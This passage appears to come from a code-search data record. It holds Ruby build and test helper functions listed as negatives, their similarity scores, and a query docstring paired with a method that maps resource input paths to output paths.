\"#{TGT_DIR}/share/glib-2.0/schemas\"\n if APP['GTK'] == \"gtk+-2.0\" \n cp_r\"#{TGT_SYS_DIR}/share/glib-2.0/schemas/gschema.dtd\",\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n elsif APP['GTK'] == \"gtk+-3.0\"\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n else\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n end\n sh \"#{WINDRES} -I. shoes/appwin32.rc shoes/appwin32.o\"\n cp_r \"#{ShoesDeps}/etc\", TGT_DIR\n mkdir_p \"#{ShoesDeps}/lib\"\n if APP['GTK'] == \"gtk+-3.0\"\n cp_r \"#{ShoesDeps}/lib/gtk-3.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n else\n cp_r \"#{ShoesDeps}/lib/gtk-2.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n end\n bindir = \"#{ShoesDeps}/bin\"\n #cp_r \"#{bindir}/fc-cache.exe\", TGT_DIR\n cp_r \"#{bindir}/gtk-update-icon-cache.exe\", TGT_DIR\n # below for debugging purposes\n if ENV['GDB'] \n cp \"#{bindir}/fc-cat.exe\", TGT_DIR\n cp \"#{bindir}/fc-list.exe\", TGT_DIR\n cp \"#{bindir}/fc-match.exe\", TGT_DIR\n cp \"#{bindir}/fc-pattern.exe\", TGT_DIR\n cp \"#{bindir}/fc-query.exe\", TGT_DIR\n cp \"#{bindir}/fc-scan.exe\", TGT_DIR\n cp \"#{bindir}/fc-validate.exe\", TGT_DIR\n end\n # disable MS Theme\n if !ENABLE_MS_THEME \n Dir.chdir(\"#{TGT_DIR}/share/themes/MS-Windows/gtk-2.0/\") do\n mv 'gtkrc', 'disabled-gtkrc'\n end\n else\n # add our overrides to the MS-Windows theme\n cp \"platform/msw/gtkrc\", \"#{TGT_DIR}/etc/gtk-2.0/\"\n end\n end", "def env\n %w[INSTALLATION=1] + extra_env\n end", "def expanded_seed_paths(seed_paths)\n seed_paths.collect { |path|\n if FileTest.directory?(path)\n binaries_in_directory(path)\n else\n path\n end\n }.flatten\nend", "def prepare_test_env(test_type)\n curr_dir = Dir.pwd\n time = Time.new \n run_name = generate_run_name(test_type)\n spot_name = run_name.slice(/0312_\\d+_1_SP/)\n lib_name = run_name.slice(/ANG_TEST_1_1\\wA_\\d+_1$/)\n\n analysis_dir = \"./tmp/snfs4/next-gen/solid/analysis/solid0312/\" +\n time.strftime(\"%Y\") + \"/\" + time.strftime(\"%m\") # + \"/\" + run_name\n\n result_dir = \"./tmp/snfs4/next-gen/solid/results/solid0312/\" + spot_name + \n \"/\" + lib_name + \"/results.F1B1/primary/reads\" \n\n sea_dir = analysis_dir + \"/\" + run_name\n\n # Create necessary directories\n FileUtils.mkdir_p(analysis_dir)\n FileUtils.mkdir_p(result_dir)\n FileUtils.mkdir_p(\"./tmp/snfs1/next-gen/solid/analysis/solid0312\")\n FileUtils.mkdir_p(\"./tmp/snfs1/next-gen/solid/results/solid0312\")\n FileUtils.mkdir_p(\"./tmp/snfs5/next-gen/solid/analysis/solid0312\")\n FileUtils.mkdir_p(\"./tmp/snfs5/next-gen/solid/results/solid0312\")\n\n # copy data to these directories\n copy_data(analysis_dir, result_dir, run_name, test_type)\n\n # build analysis driver command\n analysis_driver_cmd = \"ruby19 ../bin/analysis_driver.rb -a sea_create \" +\n \" -r \" + run_name\n\n # for capture test, add chip design parameter \n if test_type.eql?(\"cap\")\n analysis_driver_cmd = analysis_driver_cmd + \" -c \" + $chip_design\n end \n \n puts analysis_driver_cmd \n # Execute the command to start analysis_driver\n output = `#{analysis_driver_cmd}`\n\n # Copy data from result directory to analysis directory. This is \n # required as creation of soft links to data from the analysis directory\n # to the result directory does not work in the test mode\n `cp #{result_dir}/* #{analysis_dir}/#{run_name}/input`\n\n # Modify the yaml for testing purpose\n modify_yaml_for_testing(sea_dir)\n #return output\n \n return sea_dir\nend", "def generate_output(inputs, output)\n inputs.each do |input|\n begin\n raise error (\"I need a file to compile\") if not input.respond_to?(:read)\n\n #puts \"tsc: #{input.path} \" << options.join(\" \")\n\n #Using compile_file because it gives us better error messages\n result = TypeScript::Node::compile_file(input.fullpath, options)\n if result.success?\n output.write(result.js)\n else\n raise result.stderr\n end\n rescue ExecJS::Error => error\n raise error, \"Error compiling #{input.path}. #{error.message}\"\n rescue RuntimeError => e\n raise e, \"Error compiling #{input.path}. #{e.message}\"\n end\n end\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def stow_buildout_path\n \"#{node['stow']['path']}/stow#{pkg_delim}#{node['stow']['version']}\"\n end", "def forward_local_env(env_variable_patterns); end", "def export_dynatrace_app_environment_variables\n profiled_dir = File.join(@app_dir, '.profile.d')\n FileUtils.mkdir_p(profiled_dir)\n\n variables = {}\n variables[RUXIT_APPLICATION_ID] = application_id\n variables[RUXIT_HOST_ID] = host_id\n\n env_file_name = File.join(profiled_dir, '0dynatrace-app-env.sh')\n env_file = File.new(env_file_name, 'w')\n variables.each do |key, value|\n env_file.puts(\"export #{key}=\\\"${#{key}:-#{value}}\\\"\") # \"${VAR1:-default value}\"\n end\n env_file.close\n end", "def test_harness_dependencies(*)\n return unless platform[/n(5|6)k/]\n skip_if_nv_overlay_rejected(agent)\n\n # Vxlan has a hard requirement to disable feature fabricpath on n5/6k\n cmd = 'no feature-set fabricpath'\n command_config(agent, cmd, cmd)\nend", "def asset_packs_path\n Gym.cache[:asset_packs_path] ||= File.join(temporary_output_path, \"OnDemandResources\")\n end", "def generate_input_file\n @run_name += \"_t\"\n if @restart_id\n @runner.run_list[@restart_id].restart(self)\n else\n make_initial_profiles if self.respond_to?(:make_initial_profiles) \n end\n if uses_ecom?\n setup_ecom\n elsif uses_chease?\n setup_chease\n end\n #eputs \"nwrite 6 is \", new_run.flux_runs[0].nwrite\n @avail_cpu_time = (@wall_mins-1.0) * 60 if @wall_mins\n if flux_gs2? or flux_gryfx?\n @avail_cpu_time = (@wall_mins-6.0) * 60 if @wall_mins\n end\n check_parameters\n write_input_file\n #eputs \"nwrite 7 is \", new_run.flux_runs[0].nwrite\n generate_flux_input_files if flux_gs2? or flux_gryfx?\n #eputs \"nwrite 8 is \", new_run.flux_runs[0].nwrite\n end", "def execute_dotenv_params(dotenv_path = '.env')\n # The .dot env file\n dotenv_file = deploy_path.join(dotenv_path)\n dotenv_keys = \"$(cut --delimiter== --fields=1 #{dotenv_file})\"\n ['echo', '.env', '&&', '.', dotenv_file, '&&', 'export', dotenv_keys, '&&']\nend", "def build_environment(autoinst)\n environment = {\n \"AYTESTS_FILES_DIR\" => files_dir.to_s,\n \"AYTESTS_PROVIDER\" => provider.to_s,\n \"AYTESTS_WEBSERVER_PORT\" => WEBSERVER_PORT,\n \"AYTESTS_MAC_ADDRESS\" => MAC_ADDRESS\n }\n linuxrc_file = autoinst.sub_ext(\".linuxrc\")\n environment[\"AYTESTS_LINUXRC\"] = File.read(linuxrc_file).chomp if linuxrc_file.exist?\n environment\n end", "def setup_outputs_for(input_file_path)\n file_name_without_extension = File.basename(input_file_path, '.*')\n outputs = (exporters || Tracksperanto.exporters).map do | exporter_class |\n export_name = [file_name_without_extension, exporter_class.desc_and_extension].join(\"_\")\n export_path = File.join(File.dirname(input_file_path), export_name)\n exporter_class.new(open_owned_export_file(export_path))\n end\n \n Tracksperanto::Export::Mux.new(outputs)\n end", "def input_dir\n ENV['mapred_input_dir']\n end", "def input_dir\n ENV['mapred_input_dir']\n end", "def test_buildstep_modify\n TeamcityRuby::Core.new(['property_modify', '.\\config.rb', 'dev','PS1', 'p', '.\\result_buildstep_modify.yml', nil, 'PackageStoreAPI_TestTemplate'])\n result = TeamcityRuby::Core.new(['property_modify', '.\\config.rb', 'dev','STDIN', 'e', '.\\result_buildstep_modify.yml', nil, 'PackageStoreAPI_TestTemplate'])\n result = YAML::load_file('.\\result_buildstep_modify.yml')\n bed = YAML::load_file(File.join(File.dirname(__FILE__), 'bed_buildstep_modify.yml'))\n assert_equal result, bed \n end", "def executable_path=(_arg0); end", "def apply_environment_defaults\n @format = env(:format, @format) if @format.nil?\n @autopath = env(:autopath, @autopath) if @autopath.nil?\n @files = env(:files, @files) if @files.empty?\n @match = env(:match, @match) if @match.empty?\n @tags = env(:tags, @tags) if @tags.empty?\n @units = env(:units, @units) if @units.empty?\n @requires = env(:requires, @requires) if @requires.empty?\n @loadpath = env(:loadpath, @loadpath) if @loadpath.empty?\n end", "def out_base\n return @out_base if @out_base\n @out_base = File.join ::Rails.root, 'tmp', ::Rails.env, 'compile'\n @out_base = File.join @out_base, node.tree_parent unless node.tree_parent.empty?\n out_base\n end", "def collect_build_args\n build_flags = []\n\n build_flags << \"--HEAD\" if HEAD?\n build_flags << \"--universal\" if build_universal?\n build_flags << \"--build-bottle\" if build_bottle?\n build_flags << \"--build-from-source\" if build_from_source?\n\n build_flags\n end", "def sort_out_output_directories \n FileUtils.mkdir_p(output_directory)\n FileUtils.mkdir_p(xml_directory)\n FileUtils.mkdir_p(intermediate_directory) unless run_in_memory\n end", "def process(env); end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def run(inname, outname)\n\tgenerated = gen inname\n\n\tcopy_dependencies inname, outname, generated\n\n\tFile.write outname, generated\nend", "def build(env, request, path)\n stdout, stderr, status = Open3.capture3(CLI, Rails.root.to_s, path)\n\n if status.success?\n raise \"[froxy] build failed: #{stderr}\" unless stderr.empty?\n else\n non_empty_streams = [stdout, stderr].delete_if(&:empty?)\n raise \"[froxy] build failed:\\n#{non_empty_streams.join(\"\\n\\n\")}\"\n end\n\n path_to_file env, request, path\n end", "def create_checkpoints\n FileUtils.cd(self.project_root) { FileUtils.mkdir_p \".checkpoints/environments/#{self.name}/phases\" }\n FileUtils.cd(\"#{project_root}/.checkpoints/environments/#{self.name}/phases\") { FileUtils.mkdir_p %w{phase-0 phase-1 phase-2} }\n (0..3).each{ |i| FileUtils.cd(self.project_root) { FileUtils.mkdir_p \".checkpoints/environments/#{self.name}/phases/phase-2/steps/step-#{i}\" } }\n end" ]
[ "0.60355467", "0.56423974", "0.56022626", "0.54793984", "0.5365936", "0.53175676", "0.5295065", "0.5276283", "0.5276283", "0.5263879", "0.52030784", "0.51513475", "0.50949955", "0.50942737", "0.5063275", "0.5042499", "0.5011748", "0.50103825", "0.50097215", "0.49844083", "0.49667332", "0.49615484", "0.49405378", "0.49384913", "0.49327666", "0.49234128", "0.4918162", "0.49066046", "0.48846358", "0.48782876", "0.48590073", "0.4857806", "0.4849602", "0.48383334", "0.48136047", "0.481215", "0.48044932", "0.47897062", "0.4783199", "0.47516352", "0.4747953", "0.4746862", "0.4740247", "0.4731166", "0.4729255", "0.47223637", "0.4720447", "0.47128263", "0.4706019", "0.46927992", "0.46927992", "0.46910396", "0.468867", "0.4683606", "0.46786729", "0.46759513", "0.4671646", "0.46677178", "0.46660745", "0.46640408", "0.4663694", "0.46548694", "0.46461087", "0.46449336", "0.46386176", "0.4636612", "0.46279055", "0.46268958", "0.46257105", "0.4625033", "0.46211335", "0.4618339", "0.46103638", "0.46095195", "0.4604381", "0.4602613", "0.45993102", "0.45988983", "0.45972198", "0.4595432", "0.4593773", "0.45836943", "0.4582968", "0.45793718", "0.45793167", "0.45788988", "0.45719367", "0.45719367", "0.4570173", "0.45680115", "0.45650846", "0.4564383", "0.4561211", "0.45562908", "0.45562142", "0.4539755", "0.45365226", "0.4536424", "0.45342907", "0.4531438" ]
0.49453065
22
Returns the resource output paths for all given input paths.
def resource_output_paths(resource_input_paths) resource_input_paths.map do |resource_input_path| base_path = '${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}' extname = File.extname(resource_input_path) basename = extname == '.xcassets' ? 'Assets' : File.basename(resource_input_path) output_extension = Target.output_extension_for_resource(extname) File.join(base_path, File.basename(basename, extname) + output_extension) end.uniq end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _output_paths(file)\n input_file_dir = File.dirname(file)\n file_name = _output_filename(file)\n file_name = \"#{file_name}.erb\" if _append_html_ext_to_output_path?(file_name)\n input_file_dir = input_file_dir.gsub(Regexp.new(\"#{options[:input]}(\\/){0,1}\"), '') if options[:input]\n\n if options[:output]\n Array(options[:output]).map do |output_dir|\n File.join(output_dir, input_file_dir, file_name)\n end\n else\n if input_file_dir == ''\n [file_name]\n else\n [File.join(input_file_dir, file_name)]\n end\n end\n end", "def paths\n @paths ||= [\n data_path,\n output_path,\n converted_path,\n converted_fail_path,\n unpacked_path,\n unpacked_fail_path,\n recreated_path,\n ]\n end", "def possible_paths_for(mappings)\n root_mappings.map{|root|\n mappings.first.map{|inner|\n mappings.last.map{|outer|\n ::File.join(root, inner, outer, '/') }}}.flatten\n end", "def asset_paths\n paths = @parts.values.map(&:asset_path)\n paths << File.dirname(script) if script\n paths << File.dirname(stylesheet) if stylesheet\n paths.compact.uniq\n end", "def paths\n Array(@ruhoh.cascade.paths.map{|h| h[\"path\"]}).map { |path|\n collection_path = File.join(path, resource_name)\n next unless File.directory?(collection_path)\n\n collection_path\n }.compact\n end", "def mungle_paths(paths)\n return paths if terraform.pre_0_12?\n\n paths.map do |path|\n File.directory?(path) ? path : File.dirname(path)\n end.uniq\n end", "def set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n if input_output_paths_use_filelist?(phase)\n [input_paths_by_config, output_paths_by_config].each do |hash|\n hash.each do |file_list, files|\n generator = Generator::FileList.new(files)\n Xcode::PodsProjectGenerator::TargetInstallerHelper.update_changed_file(generator, file_list.file_list_path)\n end\n end\n\n phase.input_paths = nil\n phase.output_paths = nil\n phase.input_file_list_paths = input_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n phase.output_file_list_paths = output_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n else\n input_paths = input_paths_by_config.values.flatten(1).uniq\n output_paths = output_paths_by_config.values.flatten(1).uniq\n TargetIntegrator.validate_input_output_path_limit(input_paths, output_paths)\n\n phase.input_paths = input_paths\n phase.output_paths = output_paths\n phase.input_file_list_paths = nil\n phase.output_file_list_paths = nil\n end\n end", "def input_paths(asset_module, format)\n asset_module.assets(format).map{|asset| asset.absolute_path}\n end", "def paths_for(controller=:_all,action=:_all)\n return files_for(:paths,controller,action)\n end", "def paths\n Array(config.path).map(&:to_s)\n end", "def resources_path_names=(_arg0); end", "def paths(arrs)\n arrs.inject([[]]) do |paths, arr|\n arr.map {|e| paths.map {|path| path + [e]}}.flatten(1)\n end\n end", "def paths\n f = File.open(@path)\n f.grep(FILE_NAME_PATTERN) { $1 }\n end", "def collect_paths(*paths)\n raw = [] # all paths and globs\n plus = Set.new # all paths to expand and add\n minus = Set.new # all paths to remove from plus set\n\n # assemble all globs and simple paths, reforming our glob notation to ruby globs\n paths.each do |paths_container|\n case (paths_container)\n when String then raw << (FilePathUtils::reform_glob(paths_container))\n when Array then paths_container.each {|path| raw << (FilePathUtils::reform_glob(path))}\n else raise \"Don't know how to handle #{paths_container.class}\"\n end\n end\n\n # iterate through each path and glob\n raw.each do |path|\n\n dirs = [] # container for only (expanded) paths\n\n # if a glob, expand it and slurp up all non-file paths\n if path.include?('*')\n # grab base directory only if globs are snug up to final path separator\n if (path =~ /\\/\\*+$/)\n dirs << FilePathUtils.extract_path(path)\n end\n\n # grab expanded sub-directory globs\n expanded = @file_wrapper.directory_listing( FilePathUtils.extract_path_no_aggregation_operators(path) )\n expanded.each do |entry|\n dirs << entry if @file_wrapper.directory?(entry)\n end\n\n # else just grab simple path\n # note: we could just run this through glob expansion but such an\n # approach doesn't handle a path not yet on disk)\n else\n dirs << FilePathUtils.extract_path_no_aggregation_operators(path)\n end\n\n # add dirs to the appropriate set based on path aggregation modifier if present\n FilePathUtils.add_path?(path) ? plus.merge(dirs) : minus.merge(dirs)\n end\n\n return (plus - minus).to_a.uniq\n end", "def upload_paths\n @paths ||= begin\n (images + files + renders).map do |name|\n file_path = @directory.join(name)\n\n next unless File.readable?(file_path)\n\n file_path\n end.compact\n end\n end", "def output_files\n @output_files ||= to_file(@args.output)\n end", "def possible_paths(opts)\n # file_names is implemented in each store.\n file_names(opts).map { |file_name| possible_paths_file(opts, file_name) }.flatten\n end", "def resources_path_names; end", "def all_paths\n paths = Dir[\"#{@path}/*\"]\n paths = paths.select(&matcher(options[:accept])) if options[:accept]\n paths = paths.reject(&matcher(options[:reject])) if options[:reject]\n paths\n end", "def paths\n unless @paths\n @paths = []\n @paths << project._(:source, :main, :assets) if File.exist?(project._(:source, :main, :assets))\n end\n @paths\n end", "def all_paths\n # memoize so we only calculate once\n @all_paths ||= platform_font_paths\n end", "def get_all_image_cache_paths\n page_cache_directory = ActionController::Base.page_cache_directory.to_s\n page_cache_directory = page_cache_directory.split('/').join('/')\n all_irs_keys = IMAGE_RENDER_SIZES.values.map{|v| v.keys}.flatten.uniq.join(',')\n paths = Dir.glob(\"#{page_cache_directory}#{GLOBAL_CONFIG[:coupon_merchant_images_cache_dir]}/\" +\n \"{#{IMAGE_TYPES.join(',')}}/{#{all_irs_keys}}/\" +\n \"#{self.url_directory}/#{self.id}.*\".gsub('//', '/'))\n return paths.map{|p| p.gsub(/^#{page_cache_directory}/, '')}\n end", "def result_paths( pattern = '*' )\n paths = nil\n Dir.chdir(dir) {\n paths = Dir.glob(pattern).map {|x| Pathname.new(x).expand_path }\n }\n # remove directories of Analysis\n anl_dirs = analyses.map {|anl| /^#{anl.dir.to_s}/ }\n paths.reject do |path|\n anl_dirs.find {|anl_dir| anl_dir =~ path.to_s }\n end\n end", "def validate_input_output_path_limit(input_paths, output_paths)\n if (input_paths.count + output_paths.count) > MAX_INPUT_OUTPUT_PATHS\n input_paths.clear\n output_paths.clear\n end\n end", "def concatenate(paths)\n [paths].flatten.map {|p| File.read(p) }.join(\"\\n\")\n end", "def putPaths()\r\n\t\tif @paths.nil?\r\n\t\t\tputs \"Empty Path\"\r\n\t\telsif @paths.respond_to?(\"join\")\r\n\t\t\tputs \"Path: #{@paths.join(\", \")}\"\r\n\t\telse\r\n\t\t\tputs \"Path: #{@paths}\"\r\n\t\tend\r\n\tend", "def paths\n @paths ||= []\n @paths\n end", "def paths\n @paths ||= []\n @paths\n end", "def outputs\n @info.outputs.map {|path| @location + path}\n end", "def paths; end", "def paths; end", "def paths; end", "def paths; end", "def paths; end", "def combine( path_list )\n path_list\n .collect { |p| File.read( File.join(SRC_DIR, p) ) }\n .join(\"\\n\\n\")\n end", "def outputs\n inputs.map(&:output).compact\n end", "def paths\n tree_path = File.join(File.dirname(__FILE__), 'rails_tree')\n [\"\", \"multitest\", \"results\"].inject([tree_path]) do |result, suffix|\n result << File.join(result[-1], suffix)\n end[1..3]\n end", "def paths\n paths = {}\n end", "def paths\n paths = {}\n end", "def monitored_paths\n paths = Dir['**/*'].select do |path|\n @script.patterns.any? {|p| path.match(p) }\n end\n paths.push(@script.path).compact!\n paths.map {|path| Pathname(path).expand_path }\n end", "def asset_paths\n search_path.children.select { |n| Cnfs::Core.asset_names.include?(base_name(n)) }.sort\n end", "def paths\n names = Array.new\n each_tarball_entry { |entry| names << Pathname.new(entry).cleanpath.to_s }\n names - ['.']\n end", "def resolve_paths names\n if context.tag_filters.any?\n # Bats doesn't support tags\n []\n elsif names.any?\n paths = []\n for name in names\n paths.concat Array(resolve_name name)\n end\n paths\n else\n [test_dir]\n end\n end", "def output_files\n @output_files ||= Fileset.new()\n end", "def file_paths\n @file_paths ||= begin\n files = []\n each_file do |path|\n files << path\n end\n files\n end\n end", "def filePaths\n result = OpenStudio::PathVector.new\n if @workflow[:file_paths]\n @workflow[:file_paths].each do |file_path|\n result << OpenStudio.toPath(file_path)\n end\n else\n result << OpenStudio.toPath('./files')\n result << OpenStudio.toPath('./weather')\n result << OpenStudio.toPath('../../files')\n result << OpenStudio.toPath('../../weather')\n result << OpenStudio.toPath('./')\n end\n result\n end", "def list_paths\n @paths = RouteRecognizer.new.initial_path_segments.reject do |path|\n %w(assets rails).include? path\n end\n end", "def file_paths\n @file_paths ||= begin\n files = []\n each_file do |path|\n files << path\n end\n files\n end\n end", "def possible_paths(*files, paths: nil, path: nil, directory: nil)\n paths = Array(path) if path\n if paths.nil? or paths.empty?\n @lock.with_read_lock { possible_paths(*files, paths: @paths, directory: directory) }\n else\n paths.flat_map do |path|\n path = path.join(directory) if directory\n files.flat_map { |file| path.join(file) }\n end\n end\n end", "def all_stylesheet_paths\n all_paths = []\n all_paths += @stylesheets\n all_paths += @content_scripts.map { |cs| cs.stylesheets }.compact\n all_paths.flatten.uniq\n end", "def get_relative_paths(paths)\n paths.collect do |p|\n get_relative_path(p)\n end\n end", "def all_paths_source_target(graph)\n current_path = []\n results = []\n\n dfs(graph, results, 0, current_path)\n return results\nend", "def ingest_paths\n path = Pathname.new(Figgy.config[\"ingest_folder_path\"]).join(ingest_directory)\n return [] unless path.exist?\n path.children.select(&:directory?)\n end", "def search_paths\n # NOTE: Do not cache this list, specific generators\n # will modify it with their own lookups\n create_search_paths.select { |path| File.directory?(path) }\n end", "def map_paths(orig = @orig, dest = @dest, path = [])\n\n\t\t# we have to duplicate each path array to its own object\n\t\t# to ensure it isn't contaminated by another iteration\n\t\tpath = path.dup\n\t\tpath << orig\n\n\t\tif orig == dest\n\t\t\tif !@successful_paths.include?(path)\n\t\t\t\t@successful_paths << path\n\t\t\t\treturn\n\t\t\tend\n\t\telse\n\t\t\t# get connections\n\t\t\tconnections = orig.connected\n\t\t\t# remove previous stops from possible connections list\n\t\t\tconnections = connections - path\n\t\t\tconnections.each do |c|\n\t\t\t\tmap_paths(c, dest, path)\n\t\t\tend\n\t\tend\n\tend", "def paths\n @paths ||= {}\n end", "def manipulate_resource_list(resources)\n resources + options[:targets].map do |t|\n StaticResource.new(\n app.sitemap,\n t[:output]\n ) { \n File.read(File.expand_path(tmp_path(t), app.root))\n }\n end\n end", "def all_data_paths(path)\n each_data_path(path).to_a\n end", "def init_paths\n drive = session.sys.config.getenv('SystemDrive')\n\n files =\n [\n 'unattend.xml',\n 'autounattend.xml'\n ]\n\n target_paths =\n [\n \"#{drive}\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\sysprep\\\\\",\n \"#{drive}\\\\Windows\\\\panther\\\\\",\n \"#{drive}\\\\Windows\\\\Panther\\Unattend\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\\"\n ]\n\n paths = []\n target_paths.each do |p|\n files.each do |f|\n paths << \"#{p}#{f}\"\n end\n end\n\n # If there is one for registry, we add it to the list too\n reg_path = get_registry_unattend_path\n paths << reg_path unless reg_path.empty?\n\n return paths\n end", "def get_all_image_cache_paths\n page_cache_directory = ActionController::Base.page_cache_directory.to_s\n page_cache_directory = page_cache_directory.split('/').join('/')\n paths = Dir.glob(\"#{page_cache_directory}#{GLOBAL_CONFIG[:location_images_cache_dir]}/\" +\n \"#{self.url_directory}/#{self.id}/**/*.*\".gsub('//', '/'))\n return paths.map{|p| p.gsub(/^#{page_cache_directory}/, '')}\n end", "def output_files\n @output_files ||= Fileset.new\n end", "def output_files\n @output_files ||= Fileset.new\n end", "def output_files\n get_info :output_files\n end", "def default_assembly_paths\n paths = []\n paths.concat %w( bin ).map{ |dir| \"#{root_path}/#{dir}\"}.select{ |dir| File.directory?(dir) }\n end", "def resources\n resources = []\n resource_path =\n Pathname.new(@config.project_dir) +\n SUPPORT_FILES +\n \"Pods-#{TARGET_NAME}-resources.sh\"\n\n File.open(resource_path) { |f|\n f.each_line do |line|\n matched = line.match(/install_resource\\s+(.*)/)\n\n next unless matched\n\n path = (matched[1].strip)[1..-2]\n\n path.sub!(\n \"${BUILD_DIR}/${CONFIGURATION}${EFFECTIVE_PLATFORM_NAME}\",\n \".build\"\n )\n\n next if File.extname(path) == \".framework\"\n\n resources << Pathname.new(@config.project_dir) + PODS_ROOT + path\n end\n }\n resources.uniq\n end", "def get_file_absolute_paths path\n get_file_names(path).map { |file| File.join(path, file) }\n end", "def path_arr()\n return @paths\n end", "def pathlist\n @path\n end", "def paths\n @paths ||= {}.with_indifferent_access\n end", "def taken_paths\n if @target.exist?\n @target.children.select { |path| jobdir_name?(path.basename.to_s) }\n else\n []\n end\n end", "def all_paths\n\t\t\t\treturn @all_paths if @all_paths.length > 0\n\n\t\t\t\t# Looks like we have to build a list of paths!\n\t\t\t\tputs \"[MacroDeck::TurkResponseTree::Tree] Getting all paths...\"\n\t\t\t\t@hash.each_path do |path, value|\n\t\t\t\t\tif !@all_paths.include?(path)\n\t\t\t\t\t\tputs \"[MacroDeck::TurkResponseTree::Tree] Adding path #{path}\"\n\t\t\t\t\t\t@all_paths << path\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def paths\n root.paths\n end", "def paths_to_array\n [{:paths => paths.collect {|p| p.to_array}}]\n end", "def build_paths\n mapping = {}\n mapping_config.each do |config|\n config['paths'].each do |path|\n next unless data_dir.start_with?(path) || path.start_with?(data_dir) || data_dir.empty?\n\n data_files(config, path).each do |filepath|\n # First matching config wins\n mapping[filepath] ||= config\n end\n end\n end\n mapping\n end", "def logical_paths\n return to_enum(__method__) unless block_given?\n\n seen = Set.new\n\n paths.each do |load_path|\n stat_tree(load_path).each do |filename, stat|\n next unless stat.file?\n\n path = split_subpath(load_path, filename)\n path, mime_type, _, _ = parse_path_extnames(path)\n path = normalize_logical_path(path)\n path += mime_types[mime_type][:extensions].first if mime_type\n\n if !seen.include?(path)\n yield path, filename\n seen << path\n end\n end\n end\n\n nil\n end", "def paths_s\n \"['#{paths.join(\"','\")}']\"\n end", "def paths\n\t\tresponse = self.server.run_with_json_template( :paths )\n\t\treturn response.each_with_object({}) do |entry, hash|\n\t\t\thash[ entry[:name].to_sym ] = URI( entry[:url] )\n\t\tend\n\tend", "def rpaths\n command(:LC_RPATH).map(&:path).map(&:to_s)\n end", "def logical_paths\n return to_enum(__method__) unless block_given?\n\n seen = Set.new\n\n self.paths.each do |load_path|\n stat_tree(load_path).each do |filename, stat|\n next unless stat.file?\n\n path = split_subpath(load_path, filename)\n path, mime_type, _ = parse_path_extnames(path)\n path = normalize_logical_path(path)\n path += mime_types[mime_type][:extensions].first if mime_type\n\n if !seen.include?(path)\n yield path, filename\n seen << path\n end\n end\n end\n\n nil\n end", "def read_paths(output_file)\n rows = []\n paths = []\n File.readlines(output_file).map do |line|\n rows << line.chomp.split(\"#\")\n end\n for r in rows \n str = r[0].split(\" \")\n paths << [ str[2].to_i, str[3].to_i, str[4] ]\n end\n return paths\nend", "def resolve_paths names\n if names.any?\n paths = []\n for name in names\n paths.concat Array(resolve_name 